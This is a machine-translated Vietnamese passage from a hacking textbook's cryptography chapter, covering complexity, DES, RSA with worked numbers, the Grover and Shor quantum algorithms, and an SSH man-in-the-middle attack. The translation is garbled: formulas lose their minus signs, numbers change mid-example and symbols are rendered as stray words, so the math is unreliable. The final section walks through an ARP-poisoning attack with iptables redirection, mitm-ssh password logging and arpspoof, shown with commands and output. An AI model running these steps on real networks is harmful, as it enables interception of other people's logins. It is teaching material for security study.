chẳng hạn như thuật toán sau, có thể được biểu thị theo n.
đối với (i = 1 đến n) {
Làm gì đó đi;
Làm một việc khác;
}
Làm một việc cuối cùng;
Thuật toán này lặp n lần, mỗi lần thực hiện hai hành động, sau đó thực hiện
một hành động cuối cùng, do đó độ phức tạp thời gian cho thuật toán này sẽ là 2n + 1.
Một thuật toán phức tạp hơn với một vòng lặp lồng nhau bổ sung, được hiển thị bên
dưới, sẽ có độ phức tạp về thời gian là n2 + 2n + 1, vì hành động mới được thực
hiện n2 lần.
đối với (x = 1 đến n) {
đối với (y = 1 đến n) {
Thực hiện hành động mới;
}
}
đối với (i = 1 đến n) {
Làm gì đó đi;
Làm một việc khác;
}
Làm một việc cuối cùng;
Nhưng mức độ chi tiết này đối với độ phức tạp thời gian vẫn còn quá chi
tiết. Ví dụ, khi n lớn hơn, sự khác biệt tương đối giữa 2n + 5 và 2n + 365 trở nên
ngày càng ít hơn. Tuy nhiên, khi n lớn hơn, sự khác biệt tương đối giữa 2n2 + 5 và
2n + 5 trở nên ngày càng lớn hơn. Kiểu xu hướng tổng quát này là điều quan trọng
nhất đối với thời gian chạy của một thuật toán.
Hãy xem xét hai thuật toán, một thuật toán có độ phức tạp thời gian là 2n +
365 và thuật toán còn lại có độ phức tạp thời gian là 2n2 + 5. Thuật toán 2n2 + 5
sẽ vượt trội hơn thuật toán 2n + 365 trên các giá trị nhỏ đối với n. Nhưng đối
với n = 30, cả hai thuật toán đều có hiệu suất như nhau và đối với mọi n lớn hơn 30,
thuật toán 2n + 365 sẽ vượt trội hơn thuật toán 2n2 + 5. Vì chỉ có 30 giá trị
đối với n mà thuật toán 2n2 + 5 thực hiện tốt hơn, nhưng có vô số giá trị đối với n
trong đó thuật toán 2n + 365 hoạt động tốt hơn, thuật toán 2n + 365 thường hiệu quả
hơn.
Mật mã học 397
Machine Translated by Google
Điều này có nghĩa là, nhìn chung, tốc độ tăng trưởng của độ phức tạp thời gian
của một thuật toán liên quan đến kích thước đầu vào quan trọng hơn độ phức tạp thời
gian đối với bất kỳ đầu vào cố định nào. Mặc dù điều này không phải lúc nào cũng đúng
đối với các ứng dụng thực tế cụ thể, nhưng loại phép đo hiệu quả của thuật toán này có
xu hướng đúng khi tính trung bình trên tất cả các ứng dụng có thể.
0x721 Ký hiệu tiệm cận
Ký hiệu tiệm cận là một cách thể hiện hiệu quả của thuật toán. Nó được gọi là tiệm
cận vì nó xử lý hành vi của thuật toán khi kích thước đầu vào tiến tới giới hạn tiệm
cận vô cực.
Quay trở lại các ví dụ về thuật toán 2n + 365 và thuật toán 2n2 + 5, chúng tôi
xác định rằng thuật toán 2n + 365 thường hiệu quả hơn vì nó tuân theo xu hướng của
n, trong khi thuật toán 2n2 + 5 tuân theo xu hướng chung của n2
. Điều này có nghĩa là 2n + 365 bị chặn trên
bởi một bội số dương của n cho mọi n đủ lớn, và 2n2 + 5 bị giới hạn ở trên bởi một
bội số dương của n2 cho mọi n đủ lớn.
Điều này nghe có vẻ hơi khó hiểu, nhưng thực ra nó có nghĩa là tồn tại một hằng
số dương cho giá trị xu hướng và một giới hạn dưới của n, sao cho giá trị xu hướng
nhân với hằng số sẽ luôn lớn hơn độ phức tạp thời gian đối với mọi n lớn hơn giới
hạn dưới. Nói cách khác, 2n2 + 5 có thứ tự là n2
, và 2n + 365 theo thứ tự n. Có một cách thuận tiện
ký hiệu toán học cho điều này, được gọi là ký hiệu big-oh, trông giống như O(n2 ) để
.
mô tả một thuật toán có thứ tự n2
Một cách đơn giản để chuyển đổi độ phức tạp thời gian của thuật toán sang ký hiệu big-oh
là chỉ cần xem xét các điều khoản bậc cao, vì đây sẽ là các điều khoản quan trọng
nhất khi n trở nên đủ lớn. Vì vậy, một thuật toán có độ phức tạp thời gian là 3n4
+ 43n3 + 763n + log n + 37 sẽ theo thứ tự O(n4 ), và 54n7 + 23n4 + 4325 sẽ là O(n7 ).
0x730 Mã hóa đối xứng
Mã hóa đối xứng là hệ thống mật mã sử dụng cùng một khóa để mã hóa và giải mã tin
nhắn. Quá trình mã hóa và giải mã thường nhanh hơn so với mã hóa bất đối xứng, nhưng
việc phân phối khóa có thể khó khăn.
Các loại mật mã này thường là mật mã khối hoặc mật mã luồng.
Mã hóa khối hoạt động trên các khối có kích thước cố định, thường là 64 hoặc 128 bit.
Cùng một khối văn bản thuần túy sẽ luôn được mã hóa thành cùng một khối văn bản mã
hóa, sử dụng cùng một khóa. DES, Blowfish và AES (Rijndael) đều là mã hóa khối.
Mã hóa luồng tạo ra một luồng các bit giả ngẫu nhiên, thường là một bit hoặc một
byte tại một thời điểm. Đây được gọi là luồng khóa và được XOR với văn bản thuần
túy. Điều này hữu ích để mã hóa các luồng dữ liệu liên tục. RC4 và LSFR là các ví dụ
về mã hóa luồng phổ biến. RC4 sẽ được thảo luận sâu hơn trong “Mã hóa không dây
802.11b” ở trang 433.
DES và AES đều là các mã khối phổ biến. Rất nhiều suy nghĩ được đưa vào
việc xây dựng các khối mã hóa để làm cho chúng chống lại các cuộc tấn công phân
tích mật mã đã biết. Hai khái niệm được sử dụng nhiều lần trong khối mã hóa là sự nhầm lẫn
398 0x700
Machine Translated by Google
và sự khuếch tán. Sự nhầm lẫn đề cập đến các phương pháp được sử dụng để ẩn mối quan hệ
giữa văn bản thuần túy, văn bản mã hóa và khóa. Điều này có nghĩa là các bit đầu ra
phải bao gồm một số chuyển đổi phức tạp của khóa và văn bản thuần túy. Sự khuếch tán
có tác dụng lan truyền ảnh hưởng của các bit văn bản thuần túy và các bit khóa trên
càng nhiều văn bản mã hóa càng tốt. Mã hóa sản phẩm kết hợp cả hai khái niệm này bằng
cách sử dụng nhiều thao tác đơn giản lặp đi lặp lại. Cả DES và AES đều là mã hóa sản phẩm.
DES cũng sử dụng mạng Feistel. Nó được sử dụng trong nhiều mã khối để đảm bảo
thuật toán có thể đảo ngược. Về cơ bản, mỗi khối được chia thành hai nửa, trái (L) và
phải (R). Sau đó, trong một vòng hoạt động, nửa trái mới (Li ) được đặt bằng với nửa phải
cũ (Ri
1), và nửa phải mới (Ri) được tạo thành từ nửa trái cũ (Li
một hàm sử dụng nửa phải cũ (Ri
1) XOR với đầu ra của
1) và khóa phụ cho vòng đó (Ki ).
Thông thường, mỗi vòng hoạt động có một khóa con riêng biệt, được tính toán trước đó.
Các giá trị của Li và Ri như sau (ký hiệu
Li = Ri
1
Ri = Li
1
f(Ri
biểu thị phép toán XOR):
1, Ki )
DES sử dụng 16 vòng hoạt động. Con số này được chọn cụ thể để chống lại phân tích
mật mã khác biệt. Điểm yếu thực sự duy nhất được biết đến của DES là kích thước khóa của
nó. Vì khóa chỉ có 56 bit, toàn bộ không gian khóa có thể được kiểm tra trong một cuộc
tấn công vũ phu toàn diện trong vài tuần trên phần cứng chuyên dụng.
Triple-DES khắc phục vấn đề này bằng cách sử dụng hai khóa DES được nối với nhau
để có tổng kích thước khóa là 112 bit. Mã hóa được thực hiện bằng cách mã hóa khối văn
bản thuần túy bằng khóa đầu tiên, sau đó giải mã bằng khóa thứ hai, rồi mã hóa lại bằng
khóa đầu tiên. Giải mã được thực hiện tương tự, nhưng với các hoạt động mã hóa và giải mã
được chuyển đổi. Kích thước khóa được thêm vào khiến nỗ lực tấn công bằng vũ lực trở nên
khó khăn hơn theo cấp số nhân.
Hầu hết các mã khối tiêu chuẩn công nghiệp đều chống lại tất cả các hình thức đã biết
phân tích mật mã và kích thước khóa thường quá lớn để thực hiện một cuộc tấn công vũ
phu. Tuy nhiên, tính toán lượng tử cung cấp một số khả năng thú vị, thường được thổi phồng
quá mức.
0x731 Thuật toán tìm kiếm lượng tử của Lov Grover
Máy tính lượng tử hứa hẹn về tính song song lớn. Máy tính lượng tử có thể lưu trữ nhiều
trạng thái khác nhau trong một chồng chập (có thể coi như một mảng) và thực hiện các phép
tính trên tất cả chúng cùng một lúc.
Điều này lý tưởng cho việc tấn công bằng vũ lực bất kỳ thứ gì, bao gồm cả mã khối. Có
thể tải chồng lên mọi khóa có thể, sau đó có thể thực hiện thao tác mã hóa trên tất cả
các khóa cùng một lúc. Phần khó khăn là lấy đúng giá trị từ chồng chất. Máy tính lượng tử
kỳ lạ ở chỗ khi xem xét chồng chất, toàn bộ thứ đó mất kết hợp thành một trạng thái duy
nhất. Thật không may, sự mất kết hợp này ban đầu là ngẫu nhiên và tỷ lệ mất kết hợp
thành từng trạng thái trong chồng chất là bằng nhau.
Mật mã học 399
Machine Translated by Google
Nếu không có cách nào để thao túng tỷ lệ cược của các trạng thái chồng chập, hiệu
ứng tương tự có thể đạt được chỉ bằng cách đoán các khóa. Thật may mắn, một người đàn ông
tên là Lov Grover đã đưa ra một thuật toán có thể thao túng tỷ lệ cược của các trạng thái
chồng chập. Thuật toán này cho phép tỷ lệ cược của một trạng thái mong muốn nhất định tăng
lên trong khi các trạng thái khác giảm xuống. Quá trình này được lặp lại nhiều lần cho đến
khi việc tách trạng thái chồng chập thành trạng thái mong muốn gần như được đảm bảo.
TRÊN
Quá trình này mất khoảng
các bước.
Sử dụng một số kỹ năng toán học theo cấp số nhân cơ bản, bạn sẽ nhận thấy rằng điều
này chỉ làm giảm một nửa kích thước khóa cho một cuộc tấn công vũ phu toàn diện. Vì vậy, đối
với những người cực kỳ hoang tưởng, việc tăng gấp đôi kích thước khóa của một khối mã hóa
sẽ khiến nó chống lại ngay cả những khả năng lý thuyết của một cuộc tấn công vũ phu toàn
diện bằng máy tính lượng tử.
0x740 Mã hóa bất đối xứng
Mã hóa bất đối xứng sử dụng hai khóa: khóa công khai và khóa riêng. Khóa công khai được
công khai, trong khi khóa riêng được giữ bí mật; do đó có tên gọi thông minh.
Bất kỳ thông điệp nào được mã hóa bằng khóa công khai chỉ có thể được giải mã bằng khóa
riêng. Điều này loại bỏ vấn đề phân phối khóa—khóa công khai là công khai và bằng cách sử
dụng khóa công khai, một thông điệp có thể được mã hóa cho khóa riêng tương ứng. Không
giống như mã hóa đối xứng, không cần kênh truyền thông ngoài băng tần để truyền khóa bí mật.
Tuy nhiên, mã hóa bất đối xứng có xu hướng chậm hơn nhiều so với mã hóa đối xứng.
0x741 RSA
RSA là một trong những thuật toán bất đối xứng phổ biến hơn. Tính bảo mật của RSA dựa trên
độ khó của việc phân tích thừa số các số lớn. Đầu tiên, hai số nguyên tố được chọn, P và Q,
và tích của chúng, N, được tính toán:
N = P · Q
Sau đó, số lượng các số giữa 1 và N
1 nguyên tố tương đối với N phải được tính
toán (hai số được coi là nguyên tố tương đối nếu ước chung lớn nhất của chúng là 1). Đây
được gọi là hàm totient của Euler và thường được biểu thị bằng chữ cái Hy Lạp thường phi (φ).
Ví dụ, φ(9) = 6, vì 1, 2, 4, 5, 7 và 8 nguyên tố cùng nhau với 9.
Có thể dễ dàng nhận thấy rằng nếu N là số nguyên tố, φ(N ) sẽ là N
1. Một thực tế ít rõ
ràng hơn là nếu N là tích của chính xác hai số nguyên tố, P
và Q, sau đó φ(P · Q) = (P
1) · (Q
1). Điều này rất hữu ích, vì φ(N) phải được tính toán cho
RSA.
Một khóa mã hóa, E, tương đối nguyên tố với φ(N), phải được chọn ngẫu nhiên. Sau
đó, phải tìm một khóa giải mã thỏa mãn phương trình sau, trong đó S là bất kỳ số nguyên nào:
E · D = S · φ(N)+1
Điều này có thể được giải quyết bằng thuật toán Euclidean mở rộng. Thuật toán Euclidean
là một thuật toán rất cũ và là một cách rất nhanh để tính toán
400 0x700
Machine Translated by Google
ước chung lớn nhất (GCD) của hai số. Số lớn hơn trong hai số được chia cho
số nhỏ hơn, chỉ chú ý đến phần dư. Sau đó, số nhỏ hơn được chia cho phần
dư và quá trình được lặp lại cho đến khi phần dư bằng không. Giá trị cuối
cùng cho phần dư trước khi nó bằng không là ước chung lớn nhất của hai số
ban đầu. Thuật toán này khá nhanh, với thời gian chạy là O(log10N).
Điều đó có nghĩa là phải mất số bước để tìm ra câu trả lời tương đương với
số chữ số trong số lớn hơn.
Trong bảng dưới đây, GCD của 7253 và 120, được viết là gcd(7253, 120),
sẽ được tính toán. Bảng bắt đầu bằng cách đặt hai số vào các cột A và B, với
số lớn hơn vào cột A. Sau đó, A được chia cho B và phần dư được đặt vào cột
R. Ở dòng tiếp theo, B cũ trở thành A mới và R cũ trở thành B mới. R được
tính toán lại và quá trình này được lặp lại cho đến khi phần dư bằng
không. Giá trị cuối cùng của R trước số không là ước chung lớn nhất.
ƯCLN(7253, 120)
Một BR
7253
120
53
120
53
14
53
14
11
14
11
3
11
3
2
3 21
2 10
Vì vậy, ước chung lớn nhất của 7243 và 120 là 1. Điều đó có nghĩa là
7250 và 120 là số nguyên tố tương đối của nhau.
Thuật toán Euclid mở rộng xử lý việc tìm hai số nguyên J và K,
như vậy mà
J · A + K · B = R
khi gcd(A, B) = R.
Điều này được thực hiện bằng cách làm việc ngược lại thuật toán Euclidean. Trong trường hợp này,
Tuy nhiên, thương số rất quan trọng. Sau đây là phép tính từ ví dụ
trước, với thương số:
7253 = 60 · 120 + 53
120 = 2 · 53 + 14
53 = 3 · 14 + 11
14 = 1 · 11 + 3
11 = 3 · 3 + 2
3 =1·2+ 1
Mật mã học 401
Machine Translated by Google
Với một chút đại số cơ bản, các số hạng có thể được di chuyển xung quanh
mỗi dòng sao cho phần dư (hiển thị bằng chữ đậm) nằm riêng ở bên trái dấu bằng:
53 = 7253
60 · 120
14 = 120
2 · 53
11 = 53
3 · 14
3 = 14
1 · 11
2 = 11
3·3
1 = 3
1·2
Bắt đầu từ dưới lên, rõ ràng là:
1=3
1 · 2
Tuy nhiên, dòng phía trên là 2 = 11
1=3
1 · (11
1=4· 3
3 · 3, thay thế cho 2:
3 · 3)
1 · 11
Dòng trên cho thấy rằng 3 = 14
1 · 11, cũng có thể là
thay thế cho 3:
1 = 4 · (14
1 · 11)
1 = 4 · 14
5 · 11
1 · 11
Tất nhiên, dòng trên cho thấy rằng 11 = 53
3 · 14, nhắc nhở
một sự thay thế khác:
1 = 4 · 14
5 · (53
1 = 19 · 14
5 · 53
3 · 14)
Theo mẫu, chúng ta sử dụng đường thẳng hiển thị 14 = 120
2 · 53,
dẫn đến một sự thay thế khác:
1 = 19 · (120
2 · 53)
1 = 19 · 120
43 · 53
5 · 53
Và cuối cùng, dòng trên cùng cho thấy 53 = 7253
60 · 120, cho kết quả cuối cùng
thay thế:
1 = 19 · 120
43 · (7253
1 = 2599 · 120
43 · 7253
2599 · 120 +
43 · 7253 = 1
60 · 120)
Điều này cho thấy J và K lần lượt là 2599 và
402 0x700
43.
Machine Translated by Google
Các số trong ví dụ trước được chọn vì chúng liên quan đến RSA. Giả sử các giá trị của P và Q
là 11 và 13, N sẽ là 143. Do đó, φ(N) = 120 = (11
1) · (13
1). Vì 7253 nguyên tố tương đối
với 120, nên con số đó tạo nên một giá trị tuyệt vời cho E.
Nếu bạn nhớ lại, mục tiêu là tìm giá trị D thỏa mãn phương trình sau:
E · D = S · φ(N)+1
Một số đại số cơ bản trình bày nó theo dạng quen thuộc hơn:
D · E + S · φ(N)=1
D · 7253 ± S · 120 = 1
Sử dụng các giá trị từ thuật toán Euclid mở rộng, rõ ràng là D =
43. Giá
trị của S không thực sự quan trọng, điều đó có nghĩa là phép toán này được thực
hiện theo modulo φ(N), hoặc modulo 120. Điều đó, đến lượt nó, có nghĩa là giá
trị tương đương dương cho D là 77, vì 120
43 = 77. Điều này có thể được đưa
vào phương trình trước đó từ trên:
E · D = S · φ(N)+1
7253 · 77 = 4654 · 120 + 1
Các giá trị cho N và E được phân phối như khóa công khai, trong
khi D được giữ bí mật như khóa riêng. P và Q bị loại bỏ. Các chức năng
mã hóa và giải mã khá đơn giản.
Mã hóa: C = ME (modN)
Giải mã: M = CD(modN)
Ví dụ, nếu thông điệp M là 98, mã hóa sẽ như sau:
987253 = 76(mod143)
Bản mã sẽ là 76. Khi đó, chỉ có người biết giá trị của D mới có thể
giải mã được thông điệp và khôi phục số 98 từ số 76,
như sau:
7677 = 98(mod143)
Rõ ràng, nếu thông điệp, M, lớn hơn N, nó phải được chia nhỏ
thành những khối nhỏ hơn N.
Quá trình này được thực hiện nhờ định lý totient của Euler. Định lý này nêu rằng
nếu M và N là số nguyên tố tương đối, với M là số nhỏ hơn, thì khi M
được nhân với chính nó φ(N) lần và chia cho N, số dư sẽ luôn là 1:
Nếu gcd(M, N) = 1 và M < N thì Mφ(N) = 1(modN)
Mật mã học 403
Machine Translated by Google
Vì tất cả những điều này được thực hiện theo modulo N, nên điều sau đây cũng đúng, do
cách phép nhân hoạt động theo phép tính số học modulo:
Mφ(N) · Mφ(N) = 1 · 1(modN)
= 1(modN)
M2 · φ(N)
Quá trình này có thể được lặp lại nhiều lần S lần để tạo ra kết quả sau:
= 1(modN)
MS · φ(N)
Nếu cả hai vế đều được nhân với M thì kết quả là:
· M =1· M(modN)
MS · φ(N)
MS · φ(N) + 1
= M(modN)
Phương trình này về cơ bản là cốt lõi của RSA. Một số, M, được nâng lên
lũy thừa modulo N, tạo ra số M ban đầu một lần nữa. Về cơ bản, đây là một hàm
trả về đầu vào của riêng nó, bản thân nó không thú vị lắm. Nhưng nếu phương
trình này có thể được chia thành hai phần riêng biệt, thì một phần có thể được
sử dụng để mã hóa và phần còn lại để giải mã, tạo ra lại thông điệp ban
đầu. Điều này có thể được thực hiện bằng cách tìm hai số, E và D, nhân với
nhau bằng S nhân φ(N) cộng với 1. Sau đó, giá trị này có thể được thay thế
vào phương trình trước đó:
E · D = S · φ(N)+1
TÔI · D
= M(modN)
Điều này tương đương với:
Y khoa
= M(modN)
có thể chia thành hai bước:
ME = C(modN)
CD = M(modN)
Và về cơ bản đó là RSA. Tính bảo mật của thuật toán gắn liền với việc giữ
bí mật D. Nhưng vì N và E đều là các giá trị công khai, nếu N có thể được
phân tích thành P và Q ban đầu , thì φ(N) có thể dễ dàng được tính toán bằng
(P
1) · (Q
1), và sau đó D có thể được xác định bằng thuật toán Euclid
mở rộng. Do đó, kích thước khóa cho RSA phải được chọn với thuật toán phân
tích được biết đến nhiều nhất để duy trì tính bảo mật tính toán. Hiện tại,
thuật toán phân tích được biết đến nhiều nhất cho các số lớn là sàng trường số (NFS).
Thuật toán này có thời gian chạy dưới cấp số nhân, khá tốt, nhưng vẫn chưa đủ
nhanh để bẻ khóa RSA 2.048 bit trong khoảng thời gian hợp lý.
0x742 Thuật toán phân tích lượng tử của Peter Shor
Một lần nữa, tính toán lượng tử hứa hẹn sự gia tăng đáng kinh ngạc về tiềm
năng tính toán. Peter Shor đã có thể tận dụng tính song song lớn của máy tính
lượng tử để phân tích hiệu quả các con số bằng cách sử dụng một thủ thuật cũ
của lý thuyết số.
404 0x700
Machine Translated by Google
Thuật toán thực ra khá đơn giản. Lấy một số, N, để phân tích.
Chọn một giá trị, A, nhỏ hơn N. Giá trị này cũng phải nguyên tố tương đối với
N, nhưng giả sử N là tích của hai số nguyên tố (điều này luôn đúng khi cố
gắng phân tích số để phá vỡ RSA), nếu A không nguyên tố tương đối với N, thì A
là một trong các ước số của N.
Tiếp theo, tải lên phép chồng chập với các số tuần tự đếm
tăng từ 1 và đưa từng giá trị đó vào hàm f(x) = Ax (modN). Tất cả những điều này được thực
hiện cùng lúc, thông qua phép thuật của tính toán lượng tử. Một mô hình lặp lại sẽ xuất hiện trong
kết quả và chu kỳ của sự lặp lại này phải được tìm ra. May mắn thay, điều này có thể được thực hiện
nhanh chóng trên máy tính lượng tử có biến đổi Fourier. Chu kỳ này sẽ được gọi là R.
Sau đó, chỉ cần tính gcd(AR/2 + 1, N) và gcd(AR/2
1, N). Ít nhất một
trong các giá trị này phải là một ước số của N. Điều này là có thể vì AR =
1(modN) và được giải thích thêm bên dưới.
AR = 1(modN)
(AR/2)2 = 1(modN)
(AR/2)2
(AR/2
1 = 0(modN)
1) · (AR/2 + 1) = 0(modN)
Điều này có nghĩa là (AR/2
1) · (AR/2 + 1) là bội số nguyên của N. Miễn là các giá trị
này không bằng 0 thì một trong số chúng sẽ có một ước chung với N.
Để giải mã ví dụ RSA trước đó, giá trị công khai N phải được phân tích thành thừa số.
Trong trường hợp này, N bằng 143. Tiếp theo, một giá trị cho A được chọn nguyên tố
tương đối với và nhỏ hơn N, do đó A bằng 21. Hàm sẽ trông như thế này f(x) = 21x (mod143).
Mọi giá trị tuần tự từ 1 đến mức cao nhất mà máy tính lượng tử cho phép sẽ
được đưa qua hàm này.
Để tóm tắt lại, giả định sẽ là máy tính lượng tử
có ba bit lượng tử, do đó sự chồng chập có thể chứa tám giá trị.
x = 1
211(mod143) = 21
x = 2
212(mod143) = 12
x = 3
213(mod143) = 109
x = 4
214(mod143) = 1
x = 5
215(mod143) = 21
x = 6
216(mod143) = 12
x = 7
217(mod143) = 109
x = 8
218(mod143) = 1
Ở đây, chu kỳ dễ xác định bằng mắt: R là 4. Được trang bị thông tin
này, gcd(212
1143) và gcd(212 + 1143) sẽ tạo ra ít nhất một trong các
thừa số. Lần này, cả hai thừa số thực sự xuất hiện, vì gcd(440, 143) = 11
và gcd(442, 142) = 13. Sau đó, các thừa số này có thể được sử dụng để tính
toán lại khóa riêng cho ví dụ RSA trước đó.
Mật mã học 405
Machine Translated by Google
0x750 Mã hóa lai
Hệ thống mật mã lai tận dụng được cả hai ưu điểm. Một mật mã bất đối xứng được sử
dụng để trao đổi một khóa được tạo ngẫu nhiên, được sử dụng để mã hóa các thông tin
liên lạc còn lại bằng một mật mã đối xứng. Điều này cung cấp tốc độ và hiệu quả
của một mật mã đối xứng, đồng thời giải quyết được tình thế tiến thoái lưỡng nan
của việc trao đổi khóa an toàn. Các mật mã lai được sử dụng bởi hầu hết các ứng dụng
mật mã hiện đại, chẳng hạn như SSL, SSH và PGP.
Vì hầu hết các ứng dụng đều sử dụng mã hóa có khả năng chống lại việc phân
tích mật mã, nên việc tấn công mã hóa thường không hiệu quả. Tuy nhiên, nếu kẻ tấn
công có thể chặn được thông tin liên lạc giữa cả hai bên và ngụy trang thành một
trong hai bên, thì thuật toán trao đổi khóa có thể bị tấn công.
0x751 Tấn công Man-in-the-Middle
Tấn công trung gian (MitM) là một cách thông minh để vượt qua mã hóa.
Kẻ tấn công ngồi giữa hai bên giao tiếp, mỗi bên đều tin rằng họ đang giao tiếp với
bên kia, nhưng thực tế là cả hai bên đều đang giao tiếp với kẻ tấn công.
Khi kết nối được mã hóa giữa hai bên được thiết lập, một khóa bí mật được tạo ra
và truyền đi bằng cách sử dụng mật mã bất đối xứng. Thông thường, khóa này được sử
dụng để mã hóa thông tin liên lạc tiếp theo giữa hai bên.
Vì khóa được truyền đi một cách an toàn và lưu lượng truy cập tiếp theo được bảo mật bằng khóa đó
nên toàn bộ lưu lượng truy cập này đều không thể bị đọc được bởi bất kỳ kẻ tấn công nào đánh hơi
các gói tin này.
Tuy nhiên, trong một cuộc tấn công MitM, bên A tin rằng cô ấy đang giao tiếp với
B, và bên B tin rằng anh ấy đang giao tiếp với A, nhưng trên thực tế, cả hai đều
đang giao tiếp với kẻ tấn công. Vì vậy, khi A đàm phán một kết nối được mã hóa với
B, A thực sự đang mở một kết nối được mã hóa với kẻ tấn công, điều đó có nghĩa là kẻ
tấn công giao tiếp an toàn với một mật mã bất đối xứng và biết được khóa bí mật. Sau
đó, kẻ tấn công chỉ cần mở một kết nối được mã hóa khác với B, và B sẽ tin rằng anh
ấy đang giao tiếp với A, như minh họa trong hình sau.
Đã mã hóa
Giao tiếp
Kẻ tấn công
với Khóa 1
Có vẻ như
Hệ thống A
là Hệ thống B
Có vẻ như
là Hệ thống A
Đã mã hóa
Giao tiếp
với Khóa 2
Hệ thống B
406 0x700
Hệ thống A và B đều tin rằng
họ đang giao tiếp với
nhau.
Machine Translated by Google
Điều này có nghĩa là kẻ tấn công thực sự duy trì hai kênh truyền thông được
mã hóa riêng biệt với hai khóa mã hóa riêng biệt. Các gói tin từ A được mã hóa bằng
khóa đầu tiên và được gửi đến kẻ tấn công, mà A tin rằng thực sự là B. Sau đó, kẻ
tấn công giải mã các gói tin này bằng khóa đầu tiên và mã hóa lại chúng bằng khóa
thứ hai. Sau đó, kẻ tấn công gửi các gói tin mới được mã hóa đến B và B tin rằng
các gói tin này thực sự được gửi bởi A. Bằng cách ngồi ở giữa và duy trì hai khóa
riêng biệt, kẻ tấn công có thể đánh hơi và thậm chí sửa đổi lưu lượng giữa A và B mà
không bên nào biết.
Sau khi chuyển hướng lưu lượng truy cập bằng công cụ đầu độc bộ đệm ARP, có một
số lượng công cụ tấn công trung gian SSH có thể được sử dụng. Hầu hết
đây chỉ là những sửa đổi đối với mã nguồn openssh hiện có. Một ví dụ đáng chú ý là gói mitm-ssh được
đặt tên khéo léo, của Claes Nyberg, đã được đưa vào LiveCD.
Tất cả những điều này có thể được thực hiện bằng kỹ thuật chuyển hướng ARP từ
“Active Sniffing” trên trang 239 và một gói openssh đã được sửa đổi có tên gọi là
mitm-ssh. Có những công cụ khác thực hiện việc này; tuy nhiên, mitm-ssh của Claes
Nyberg là công cụ có sẵn công khai và mạnh mẽ nhất. Gói nguồn nằm trên LiveCD
trong /usr/src/mitm-ssh và đã được xây dựng và cài đặt.
Khi chạy, nó chấp nhận các kết nối đến một cổng nhất định và sau đó ủy quyền các
kết nối này đến địa chỉ IP đích thực của máy chủ SSH mục tiêu. Với sự trợ giúp
của arpspoof để đầu độc bộ đệm ARP, lưu lượng truy cập đến máy chủ SSH mục tiêu
có thể được chuyển hướng đến máy của kẻ tấn công đang chạy mitm-ssh.
Vì chương trình này lắng nghe trên máy chủ cục bộ nên cần có một số quy tắc lọc IP để chuyển hướng lưu
lượng truy cập.
Trong ví dụ dưới đây, máy chủ SSH mục tiêu ở 192.168.42.72. Khi
mitm-ssh được chạy, nó sẽ lắng nghe trên cổng 2222, vì vậy không cần phải chạy
dưới dạng root. Lệnh iptables yêu cầu Linux chuyển hướng tất cả các kết nối TCP
đến trên cổng 22 đến localhost 2222, nơi mitm-ssh sẽ lắng nghe.
reader@hacking:~ $ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
người đọc@hacking:~ $ sudo iptables -t nat -L
Chuỗi PREROUTING (chính sách CHẤP NHẬN)
mục tiêu prot opt nguồn
đích đến bất
CHUYỂN HƯỚNG tcp -- bất cứ nơi nào
cứ nơi nào
tcp dpt:ssh chuyển hướng cổng 2222
Chuỗi POSTROUTING (chính sách CHẤP NHẬN)
mục tiêu
nguồn prot opt
điểm đến
Chuỗi ĐẦU RA (chính sách CHẤP NHẬN)
mục tiêu prot opt nguồn
điểm đến
reader@hacking:~ $ mitm-ssh
..
/|\
SSH Man In The Middle [Dựa trên OpenSSH_3.9p1]
_|_
Bởi CMN <cmn@darklab.org>
Cách sử dụng: mitm-ssh <non-nat-route> [tùy chọn]
Tuyến đường:
Mật mã học 407
Machine Translated by Google
<host>[:<port>] - Tuyến tĩnh đến cổng trên máy chủ
(đối với các kết nối không phải NAT)
Tùy chọn:
-v
- Đầu ra chi tiết
-N
- Không cố gắng giải quyết tên máy chủ
-d
- Gỡ lỗi, lặp lại để tăng tính chi tiết
-p port
- Cổng để lắng nghe kết nối trên
-f configfile - Tệp cấu hình để đọc
Tùy chọn nhật ký:
-c logdir
- Ghi dữ liệu từ máy khách vào thư mục
-s logdir
-o tập tin
- Ghi dữ liệu từ máy chủ vào thư mục
- Ghi lại mật khẩu vào tập tin
người đọc@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222
Sử dụng tuyến tĩnh đến 192.168.42.72:22
Máy chủ SSH MITM đang lắng nghe trên cổng 0.0.0.0 2222.
Tạo khóa RSA 768 bit.
Hoàn tất việc tạo khóa RSA.
Sau đó, trong một cửa sổ thiết bị đầu cuối khác trên cùng một máy, công cụ
arpspoof của Dug Song được sử dụng để đầu độc bộ đệm ARP và chuyển hướng lưu lượng
truy cập đến 192.168.42.72 đến máy của chúng tôi.
người đọc@hacking:~ $ arpspoof
Phiên bản: 2.3
Cách sử dụng: arpspoof [-i giao diện] [-t mục tiêu] máy chủ
người đọc@hacking:~ $ sudo arpspoof -i eth0 192.168.42.72
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp trả lời 192.168.42.72 is-at 0:12:3f:7:39:9c
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp trả lời 192.168.42.72 is-at 0:12:3f:7:39:9c
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp trả lời 192.168.42.72 is-at 0:12:3f:7:39:9c
Và bây giờ cuộc tấn công MitM đã được thiết lập và sẵn sàng cho nạn nhân tiếp
theo không hề hay biết. Đầu ra bên dưới là từ một máy khác trên mạng (192.168.42.250),
tạo kết nối SSH đến 192.168.42.72.
Trên máy 192.168.42.250 (tetsuo), Kết nối tới 192.168.42.72 (loki)
iz@tetsuo:~ $ ssh jose@192.168.42.72
Không thể xác định được tính xác thực của máy chủ '192.168.42.72 (192.168.42.72)'.
Dấu vân tay khóa RSA là 84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.
Bạn có chắc chắn muốn tiếp tục kết nối không (có/không)? Có
Cảnh báo: Đã thêm vĩnh viễn '192.168.42.72' (RSA) vào danh sách máy chủ đã biết.
Mật khẩu của jose@192.168.42.72: Lần
đăng nhập cuối: Thứ Hai, 01/10/2007 06:32:37 từ 192.168.42.72
Linux loki 2.6.20-16-generic #2 SMP Thứ năm 7 tháng 6 20:19:32 UTC 2007 i686
jose@loki:~ $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Ví dụ
jose@loki:~ $ id
uid=1001(jose) gid=1001(jose) nhóm=1001(jose)
jose@loki:~ $ thoát
đăng xuất
408 0x700
Machine Translated by Google
